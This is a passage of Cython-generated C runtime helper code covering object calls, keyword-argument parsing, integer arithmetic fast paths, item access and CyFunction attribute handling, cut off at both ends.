2); } #endif args = PyTuple_New(2); if (unlikely(!args)) goto done; Py_INCREF(arg1); PyTuple_SET_ITEM(args, 0, arg1); Py_INCREF(arg2); PyTuple_SET_ITEM(args, 1, arg2); Py_INCREF(function); result = __Pyx_PyObject_Call(function, args, NULL); Py_DECREF(args); Py_DECREF(function); done: return result; } /* PyObjectCallMethO */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg) { PyObject *self, *result; PyCFunction cfunc; cfunc = PyCFunction_GET_FUNCTION(func); self = PyCFunction_GET_SELF(func); if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) return NULL; result = cfunc(self, arg); Py_LeaveRecursiveCall(); if (unlikely(!result) && unlikely(!PyErr_Occurred())) { PyErr_SetString( PyExc_SystemError, "NULL result without error in PyObject_Call"); } return result; } #endif /* PyObjectCallOneArg */ #if CYTHON_COMPILING_IN_CPYTHON static PyObject* __Pyx__PyObject_CallOneArg(PyObject *func, PyObject *arg) { PyObject *result; PyObject *args = PyTuple_New(1); if (unlikely(!args)) return NULL; Py_INCREF(arg); PyTuple_SET_ITEM(args, 0, arg); result = __Pyx_PyObject_Call(func, args, NULL); Py_DECREF(args); return result; } static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { #if CYTHON_FAST_PYCALL if (PyFunction_Check(func)) { return __Pyx_PyFunction_FastCall(func, &arg, 1); } #endif if (likely(PyCFunction_Check(func))) { if (likely(PyCFunction_GET_FLAGS(func) & METH_O)) { return __Pyx_PyObject_CallMethO(func, arg); #if CYTHON_FAST_PYCCALL } else if (__Pyx_PyFastCFunction_Check(func)) { return __Pyx_PyCFunction_FastCall(func, &arg, 1); #endif } } return __Pyx__PyObject_CallOneArg(func, arg); } #else static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { PyObject *result; PyObject *args = PyTuple_Pack(1, arg); if (unlikely(!args)) return NULL; result = __Pyx_PyObject_Call(func, args, NULL); Py_DECREF(args); return result; } #endif /* RaiseArgTupleInvalid */ static void __Pyx_RaiseArgtupleInvalid( const char* func_name, int exact, Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found) { Py_ssize_t num_expected; const char *more_or_less; if (num_found < num_min) { num_expected = num_min; more_or_less = "at least"; } else { num_expected = num_max; more_or_less = "at most"; } if (exact) { more_or_less = "exactly"; } PyErr_Format(PyExc_TypeError, "%.200s() takes %.8s %" CYTHON_FORMAT_SSIZE_T "d positional argument%.1s (%" CYTHON_FORMAT_SSIZE_T "d given)", func_name, more_or_less, num_expected, (num_expected == 1) ? "" : "s", num_found); } /* RaiseDoubleKeywords */ static void __Pyx_RaiseDoubleKeywordsError( const char* func_name, PyObject* kw_name) { PyErr_Format(PyExc_TypeError, #if PY_MAJOR_VERSION >= 3 "%s() got multiple values for keyword argument '%U'", func_name, kw_name); #else "%s() got multiple values for keyword argument '%s'", func_name, PyString_AsString(kw_name)); #endif } /* ParseKeywords */ static int __Pyx_ParseOptionalKeywords( PyObject *kwds, PyObject **argnames[], PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args, const char* function_name) { PyObject *key = 0, *value = 0; Py_ssize_t pos = 0; PyObject*** name; PyObject*** first_kw_arg = argnames + num_pos_args; while (PyDict_Next(kwds, &pos, &key, &value)) { name = first_kw_arg; while (*name && (**name != key)) name++; if (*name) { values[name-argnames] = value; continue; } name = first_kw_arg; #if PY_MAJOR_VERSION < 3 if (likely(PyString_Check(key))) { while (*name) { if ((CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**name) == PyString_GET_SIZE(key)) && _PyString_Eq(**name, key)) { values[name-argnames] = value; break; } name++; } if (*name) continue; else { PyObject*** argname = argnames; while (argname != first_kw_arg) { if ((**argname == key) || ( (CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**argname) == PyString_GET_SIZE(key)) && _PyString_Eq(**argname, key))) { goto arg_passed_twice; } argname++; } } } else #endif if (likely(PyUnicode_Check(key))) { while (*name) { int cmp = (**name == key) ? 0 : #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 (__Pyx_PyUnicode_GET_LENGTH(**name) != __Pyx_PyUnicode_GET_LENGTH(key)) ? 1 : #endif PyUnicode_Compare(**name, key); if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; if (cmp == 0) { values[name-argnames] = value; break; } name++; } if (*name) continue; else { PyObject*** argname = argnames; while (argname != first_kw_arg) { int cmp = (**argname == key) ? 0 : #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 (__Pyx_PyUnicode_GET_LENGTH(**argname) != __Pyx_PyUnicode_GET_LENGTH(key)) ? 1 : #endif PyUnicode_Compare(**argname, key); if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; if (cmp == 0) goto arg_passed_twice; argname++; } } } else goto invalid_keyword_type; if (kwds2) { if (unlikely(PyDict_SetItem(kwds2, key, value))) goto bad; } else { goto invalid_keyword; } } return 0; arg_passed_twice: __Pyx_RaiseDoubleKeywordsError(function_name, key); goto bad; invalid_keyword_type: PyErr_Format(PyExc_TypeError, "%.200s() keywords must be strings", function_name); goto bad; invalid_keyword: PyErr_Format(PyExc_TypeError, #if PY_MAJOR_VERSION < 3 "%.200s() got an unexpected keyword argument '%.200s'", function_name, PyString_AsString(key)); #else "%s() got an unexpected keyword argument '%U'", function_name, key); #endif bad: return -1; } /* PyObjectCallNoArg */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func) { #if CYTHON_FAST_PYCALL if (PyFunction_Check(func)) { return __Pyx_PyFunction_FastCall(func, NULL, 0); } #endif #ifdef __Pyx_CyFunction_USED if (likely(PyCFunction_Check(func) || __Pyx_CyFunction_Check(func))) #else if (likely(PyCFunction_Check(func))) #endif { if (likely(PyCFunction_GET_FLAGS(func) & METH_NOARGS)) { return __Pyx_PyObject_CallMethO(func, NULL); } } return __Pyx_PyObject_Call(func, __pyx_empty_tuple, NULL); } #endif /* RaiseTooManyValuesToUnpack */ static CYTHON_INLINE void __Pyx_RaiseTooManyValuesError(Py_ssize_t expected) { PyErr_Format(PyExc_ValueError, "too many values to unpack (expected %" CYTHON_FORMAT_SSIZE_T "d)", expected); } /* RaiseNeedMoreValuesToUnpack */ static CYTHON_INLINE void __Pyx_RaiseNeedMoreValuesError(Py_ssize_t index) { PyErr_Format(PyExc_ValueError, "need more than %" CYTHON_FORMAT_SSIZE_T "d value%.1s to unpack", index, (index == 1) ? "" : "s"); } /* IterFinish */ static CYTHON_INLINE int __Pyx_IterFinish(void) { #if CYTHON_FAST_THREAD_STATE PyThreadState *tstate = __Pyx_PyThreadState_Current; PyObject* exc_type = tstate->curexc_type; if (unlikely(exc_type)) { if (likely(__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) { PyObject *exc_value, *exc_tb; exc_value = tstate->curexc_value; exc_tb = tstate->curexc_traceback; tstate->curexc_type = 0; tstate->curexc_value = 0; tstate->curexc_traceback = 0; Py_DECREF(exc_type); Py_XDECREF(exc_value); Py_XDECREF(exc_tb); return 0; } else { return -1; } } return 0; #else if (unlikely(PyErr_Occurred())) { if (likely(PyErr_ExceptionMatches(PyExc_StopIteration))) { PyErr_Clear(); return 0; } else { return -1; } } return 0; #endif } /* UnpackItemEndCheck */ static int __Pyx_IternextUnpackEndCheck(PyObject *retval, Py_ssize_t expected) { if (unlikely(retval)) { Py_DECREF(retval); __Pyx_RaiseTooManyValuesError(expected); return -1; } else { return __Pyx_IterFinish(); } return 0; } /* pyobject_as_double */ static double __Pyx__PyObject_AsDouble(PyObject* obj) { PyObject* float_value; #if !CYTHON_USE_TYPE_SLOTS float_value = PyNumber_Float(obj); if ((0)) goto bad; #else PyNumberMethods *nb = Py_TYPE(obj)->tp_as_number; if (likely(nb) && likely(nb->nb_float)) { float_value = nb->nb_float(obj); if (likely(float_value) && unlikely(!PyFloat_Check(float_value))) { PyErr_Format(PyExc_TypeError, "__float__ returned non-float (type %.200s)", Py_TYPE(float_value)->tp_name); Py_DECREF(float_value); goto bad; } } else if (PyUnicode_CheckExact(obj) || PyBytes_CheckExact(obj)) { #if PY_MAJOR_VERSION >= 3 float_value = PyFloat_FromString(obj); #else float_value = PyFloat_FromString(obj, 0); #endif } else { PyObject* args = PyTuple_New(1); if (unlikely(!args)) goto bad; PyTuple_SET_ITEM(args, 0, obj); float_value = PyObject_Call((PyObject*)&PyFloat_Type, args, 0); PyTuple_SET_ITEM(args, 0, 0); Py_DECREF(args); } #endif if (likely(float_value)) { double value = PyFloat_AS_DOUBLE(float_value); Py_DECREF(float_value); return value; } bad: return (double)-1; } /* PyObjectSetAttrStr */ #if CYTHON_USE_TYPE_SLOTS static CYTHON_INLINE int __Pyx_PyObject_SetAttrStr(PyObject* obj, PyObject* attr_name, PyObject* value) { PyTypeObject* tp = Py_TYPE(obj); if (likely(tp->tp_setattro)) return tp->tp_setattro(obj, attr_name, value); #if PY_MAJOR_VERSION < 3 if (likely(tp->tp_setattr)) return tp->tp_setattr(obj, PyString_AS_STRING(attr_name), value); #endif return PyObject_SetAttr(obj, attr_name, value); } #endif /* DictGetItem */ #if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY static PyObject *__Pyx_PyDict_GetItem(PyObject *d, PyObject* key) { PyObject *value; value = PyDict_GetItemWithError(d, key); if (unlikely(!value)) { if (!PyErr_Occurred()) { if (unlikely(PyTuple_Check(key))) { PyObject* args = PyTuple_Pack(1, key); if (likely(args)) { PyErr_SetObject(PyExc_KeyError, args); Py_DECREF(args); } } else { PyErr_SetObject(PyExc_KeyError, key); } } return NULL; } Py_INCREF(value); return value; } #endif /* GetItemInt */ static PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j) { PyObject *r; if (!j) return NULL; r = PyObject_GetItem(o, j); Py_DECREF(j); return r; } static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, CYTHON_NCP_UNUSED int wraparound, CYTHON_NCP_UNUSED int boundscheck) { #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS Py_ssize_t wrapped_i = i; if (wraparound & unlikely(i < 0)) { wrapped_i += PyList_GET_SIZE(o); } if ((!boundscheck) || likely(__Pyx_is_valid_index(wrapped_i, PyList_GET_SIZE(o)))) { PyObject *r = PyList_GET_ITEM(o, wrapped_i); Py_INCREF(r); return r; } return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); #else return PySequence_GetItem(o, i); #endif } static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, CYTHON_NCP_UNUSED int wraparound, CYTHON_NCP_UNUSED int boundscheck) { #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS Py_ssize_t wrapped_i = i; if (wraparound & unlikely(i < 0)) { wrapped_i += PyTuple_GET_SIZE(o); } if ((!boundscheck) || likely(__Pyx_is_valid_index(wrapped_i, PyTuple_GET_SIZE(o)))) { PyObject *r = PyTuple_GET_ITEM(o, wrapped_i); Py_INCREF(r); return r; } return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); #else return PySequence_GetItem(o, i); #endif } static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, int is_list, CYTHON_NCP_UNUSED int wraparound, CYTHON_NCP_UNUSED int boundscheck) { #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS && CYTHON_USE_TYPE_SLOTS if (is_list || PyList_CheckExact(o)) { Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyList_GET_SIZE(o); if ((!boundscheck) || (likely(__Pyx_is_valid_index(n, PyList_GET_SIZE(o))))) { PyObject *r = PyList_GET_ITEM(o, n); Py_INCREF(r); return r; } } else if (PyTuple_CheckExact(o)) { Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyTuple_GET_SIZE(o); if ((!boundscheck) || likely(__Pyx_is_valid_index(n, PyTuple_GET_SIZE(o)))) { PyObject *r = PyTuple_GET_ITEM(o, n); Py_INCREF(r); return r; } } else { PySequenceMethods *m = Py_TYPE(o)->tp_as_sequence; if (likely(m && m->sq_item)) { if (wraparound && unlikely(i < 0) && likely(m->sq_length)) { Py_ssize_t l = m->sq_length(o); if (likely(l >= 0)) { i += l; } else { if (!PyErr_ExceptionMatches(PyExc_OverflowError)) return NULL; PyErr_Clear(); } } return m->sq_item(o, i); } } #else if (is_list || PySequence_Check(o)) { return PySequence_GetItem(o, i); } #endif return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); } /* ObjectGetItem */ #if CYTHON_USE_TYPE_SLOTS static PyObject *__Pyx_PyObject_GetIndex(PyObject *obj, PyObject* index) { PyObject *runerr; Py_ssize_t key_value; PySequenceMethods *m = Py_TYPE(obj)->tp_as_sequence; if (unlikely(!(m && m->sq_item))) { PyErr_Format(PyExc_TypeError, "'%.200s' object is not subscriptable", Py_TYPE(obj)->tp_name); return NULL; } key_value = __Pyx_PyIndex_AsSsize_t(index); if (likely(key_value != -1 || !(runerr = PyErr_Occurred()))) { return __Pyx_GetItemInt_Fast(obj, key_value, 0, 1, 1); } if (PyErr_GivenExceptionMatches(runerr, PyExc_OverflowError)) { PyErr_Clear(); PyErr_Format(PyExc_IndexError, "cannot fit '%.200s' into an index-sized integer", Py_TYPE(index)->tp_name); } return NULL; } static PyObject *__Pyx_PyObject_GetItem(PyObject *obj, PyObject* key) { PyMappingMethods *m = Py_TYPE(obj)->tp_as_mapping; if (likely(m && m->mp_subscript)) { return m->mp_subscript(obj, key); } return __Pyx_PyObject_GetIndex(obj, key); } #endif /* PyIntBinop */ #if !CYTHON_COMPILING_IN_PYPY static PyObject* __Pyx_PyInt_AddObjC(PyObject *op1, PyObject *op2, CYTHON_UNUSED long intval, int inplace, int zerodivision_check) { (void)inplace; (void)zerodivision_check; #if PY_MAJOR_VERSION < 3 if (likely(PyInt_CheckExact(op1))) { const long b = intval; long x; long a = PyInt_AS_LONG(op1); x = (long)((unsigned long)a + b); if (likely((x^a) >= 0 || (x^b) >= 0)) return PyInt_FromLong(x); return PyLong_Type.tp_as_number->nb_add(op1, op2); } #endif #if CYTHON_USE_PYLONG_INTERNALS if (likely(PyLong_CheckExact(op1))) { const long b = intval; long a, x; #ifdef HAVE_LONG_LONG const PY_LONG_LONG llb = intval; PY_LONG_LONG lla, llx; #endif const digit* digits = ((PyLongObject*)op1)->ob_digit; const Py_ssize_t size = Py_SIZE(op1); if (likely(__Pyx_sst_abs(size) <= 1)) { a = likely(size) ? digits[0] : 0; if (size == -1) a = -a; } else { switch (size) { case -2: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { a = -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { lla = -(PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } CYTHON_FALLTHROUGH; case 2: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { a = (long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { lla = (PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } CYTHON_FALLTHROUGH; case -3: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { a = -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { lla = -(PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } CYTHON_FALLTHROUGH; case 3: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { a = (long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { lla = (PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } CYTHON_FALLTHROUGH; case -4: if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { a = -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { lla = -(PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } CYTHON_FALLTHROUGH; case 4: if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { a = (long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { lla = (PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } CYTHON_FALLTHROUGH; default: return PyLong_Type.tp_as_number->nb_add(op1, op2); } } x = a + b; return PyLong_FromLong(x); #ifdef HAVE_LONG_LONG long_long: llx = lla + llb; return PyLong_FromLongLong(llx); #endif } #endif if (PyFloat_CheckExact(op1)) { const long b = intval; double a = PyFloat_AS_DOUBLE(op1); double result; PyFPE_START_PROTECT("add", return NULL) result = ((double)a) + (double)b; PyFPE_END_PROTECT(result) return PyFloat_FromDouble(result); } return (inplace ? PyNumber_InPlaceAdd : PyNumber_Add)(op1, op2); } #endif /* SetItemInt */ static int __Pyx_SetItemInt_Generic(PyObject *o, PyObject *j, PyObject *v) { int r; if (!j) return -1; r = PyObject_SetItem(o, j, v); Py_DECREF(j); return r; } static CYTHON_INLINE int __Pyx_SetItemInt_Fast(PyObject *o, Py_ssize_t i, PyObject *v, int is_list, CYTHON_NCP_UNUSED int wraparound, CYTHON_NCP_UNUSED int boundscheck) { #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS && CYTHON_USE_TYPE_SLOTS if (is_list || PyList_CheckExact(o)) { Py_ssize_t n = (!wraparound) ? i : ((likely(i >= 0)) ? i : i + PyList_GET_SIZE(o)); if ((!boundscheck) || likely(__Pyx_is_valid_index(n, PyList_GET_SIZE(o)))) { PyObject* old = PyList_GET_ITEM(o, n); Py_INCREF(v); PyList_SET_ITEM(o, n, v); Py_DECREF(old); return 1; } } else { PySequenceMethods *m = Py_TYPE(o)->tp_as_sequence; if (likely(m && m->sq_ass_item)) { if (wraparound && unlikely(i < 0) && likely(m->sq_length)) { Py_ssize_t l = m->sq_length(o); if (likely(l >= 0)) { i += l; } else { if (!PyErr_ExceptionMatches(PyExc_OverflowError)) return -1; PyErr_Clear(); } } return m->sq_ass_item(o, i, v); } } #else #if CYTHON_COMPILING_IN_PYPY if (is_list || (PySequence_Check(o) && !PyDict_Check(o))) #else if (is_list || PySequence_Check(o)) #endif { return PySequence_SetItem(o, i, v); } #endif return __Pyx_SetItemInt_Generic(o, PyInt_FromSsize_t(i), v); } /* ArgTypeTest */ static int __Pyx__ArgTypeTest(PyObject *obj, PyTypeObject *type, const char *name, int exact) { if (unlikely(!type)) { PyErr_SetString(PyExc_SystemError, "Missing type object"); return 0; } else if (exact) { #if PY_MAJOR_VERSION == 2 if ((type == &PyBaseString_Type) && likely(__Pyx_PyBaseString_CheckExact(obj))) return 1; #endif } else { if (likely(__Pyx_TypeCheck(obj, type))) return 1; } PyErr_Format(PyExc_TypeError, "Argument '%.200s' has incorrect type (expected %.200s, got %.200s)", name, type->tp_name, Py_TYPE(obj)->tp_name); return 0; } /* None */ static CYTHON_INLINE long __Pyx_div_long(long a, long b) { long q = a / b; long r = a - q*b; q -= ((r != 0) & ((r ^ b) < 0)); return q; } /* PyIntBinop */ #if !CYTHON_COMPILING_IN_PYPY static PyObject* __Pyx_PyInt_SubtractObjC(PyObject *op1, PyObject *op2, CYTHON_UNUSED long intval, int inplace, int zerodivision_check) { (void)inplace; (void)zerodivision_check; #if PY_MAJOR_VERSION < 3 if (likely(PyInt_CheckExact(op1))) { const long b = intval; long x; long a = PyInt_AS_LONG(op1); x = (long)((unsigned long)a - b); if (likely((x^a) >= 0 || (x^~b) >= 0)) return PyInt_FromLong(x); return PyLong_Type.tp_as_number->nb_subtract(op1, op2); } #endif #if CYTHON_USE_PYLONG_INTERNALS if (likely(PyLong_CheckExact(op1))) { const long b = intval; long a, x; #ifdef HAVE_LONG_LONG const PY_LONG_LONG llb = intval; PY_LONG_LONG lla, llx; #endif const digit* digits = ((PyLongObject*)op1)->ob_digit; const Py_ssize_t size = Py_SIZE(op1); if (likely(__Pyx_sst_abs(size) <= 1)) { a = likely(size) ? digits[0] : 0; if (size == -1) a = -a; } else { switch (size) { case -2: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { a = -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { lla = -(PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } CYTHON_FALLTHROUGH; case 2: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { a = (long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { lla = (PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } CYTHON_FALLTHROUGH; case -3: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { a = -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { lla = -(PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } CYTHON_FALLTHROUGH; case 3: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { a = (long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { lla = (PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } CYTHON_FALLTHROUGH; case -4: if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { a = -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { lla = -(PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } CYTHON_FALLTHROUGH; case 4: if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { a = (long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { lla = (PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } CYTHON_FALLTHROUGH; default: return PyLong_Type.tp_as_number->nb_subtract(op1, op2); } } x = a - b; return PyLong_FromLong(x); #ifdef HAVE_LONG_LONG long_long: llx = lla - llb; return PyLong_FromLongLong(llx); #endif } #endif if (PyFloat_CheckExact(op1)) { const long b = intval; double a = PyFloat_AS_DOUBLE(op1); double result; PyFPE_START_PROTECT("subtract", return NULL) result = ((double)a) - (double)b; PyFPE_END_PROTECT(result) return PyFloat_FromDouble(result); } return (inplace ? PyNumber_InPlaceSubtract : PyNumber_Subtract)(op1, op2); } #endif /* FetchCommonType */ static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type) { PyObject* fake_module; PyTypeObject* cached_type = NULL; fake_module = PyImport_AddModule((char*) "_cython_" CYTHON_ABI); if (!fake_module) return NULL; Py_INCREF(fake_module); cached_type = (PyTypeObject*) PyObject_GetAttrString(fake_module, type->tp_name); if (cached_type) { if (!PyType_Check((PyObject*)cached_type)) { PyErr_Format(PyExc_TypeError, "Shared Cython type %.200s is not a type object", type->tp_name); goto bad; } if (cached_type->tp_basicsize != type->tp_basicsize) { PyErr_Format(PyExc_TypeError, "Shared Cython type %.200s has the wrong size, try recompiling", type->tp_name); goto bad; } } else { if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; PyErr_Clear(); if (PyType_Ready(type) < 0) goto bad; if (PyObject_SetAttrString(fake_module, type->tp_name, (PyObject*) type) < 0) goto bad; Py_INCREF(type); cached_type = type; } done: Py_DECREF(fake_module); return cached_type; bad: Py_XDECREF(cached_type); cached_type = NULL; goto done; } /* CythonFunctionShared */ #include <structmember.h> static PyObject * __Pyx_CyFunction_get_doc(__pyx_CyFunctionObject *op, CYTHON_UNUSED void *closure) { if (unlikely(op->func_doc == NULL)) { if (op->func.m_ml->ml_doc) { #if PY_MAJOR_VERSION >= 3 op->func_doc = PyUnicode_FromString(op->func.m_ml->ml_doc); #else op->func_doc = PyString_FromString(op->func.m_ml->ml_doc); #endif if (unlikely(op->func_doc == NULL)) return NULL; } else { Py_INCREF(Py_None); return Py_None; } } Py_INCREF(op->func_doc); return op->func_doc; } static int __Pyx_CyFunction_set_doc(__pyx_CyFunctionObject *op, PyObject *value, CYTHON_UNUSED void *context) { PyObject *tmp = op->func_doc; if (value == NULL) { value = Py_None; } Py_INCREF(value); op->func_doc = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_name(__pyx_CyFunctionObject *op, CYTHON_UNUSED void *context) { if (unlikely(op->func_name == NULL)) { #if PY_MAJOR_VERSION >= 3 op->func_name = PyUnicode_InternFromString(op->func.m_ml->ml_name); #else op->func_name = PyString_InternFromString(op->func.m_ml->ml_name); #endif if (unlikely(op->func_name == NULL)) return NULL; } Py_INCREF(op->func_name); return op->func_name; } static int __Pyx_CyFunction_set_name(__pyx_CyFunctionObject *op, PyObject *value, CYTHON_UNUSED void *context) { PyObject *tmp; #if PY_MAJOR_VERSION >= 3 if (unlikely(value == NULL || !PyUnicode_Check(value))) #else if (unlikely(value == NULL || !PyString_Check(value))) #endif { PyErr_SetString(PyExc_TypeError, "__name__ must be set to a string object"); return -1; } tmp = op->func_name; Py_INCREF(value); op->func_name = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_qualname(__pyx_CyFunctionObject *op, CYTHON_UNUSED void *context) { Py_INCREF(op->func_qualname); return op->func_qualname; } static int __Pyx_CyFunction_set_qualname(__pyx_CyFunctionObject *op, PyObject *value, CYTHON_UNUSED void *context) { PyObject *tmp; #if PY_MAJOR_VERSION >= 3 if (unlikely(value == NULL || !PyUnicode_Check(value))) #else if (unlikely(value == NULL || 